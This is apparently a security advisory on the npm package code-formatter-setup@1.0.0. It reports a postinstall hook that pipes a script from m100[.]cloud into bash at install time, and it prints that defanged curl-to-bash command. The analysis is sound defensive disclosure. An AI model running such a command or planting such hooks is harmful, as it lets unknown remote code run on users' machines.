code-formatter-setup@1.0.0

Analysis

The package code-formatter-setup@1.0.0 contains a postinstall hook that downloads and executes a remote script at install time. The hook runs `curl -s hxxps://m100[.]cloud/setup | bash` via child_process.execSync, fetching an arbitrary payload from m100[.]cloud and piping it directly to the shell. The package ships no functional code — its index.js is a stub module.exports with no logic — indicating the sole purpose is the remote code execution on install.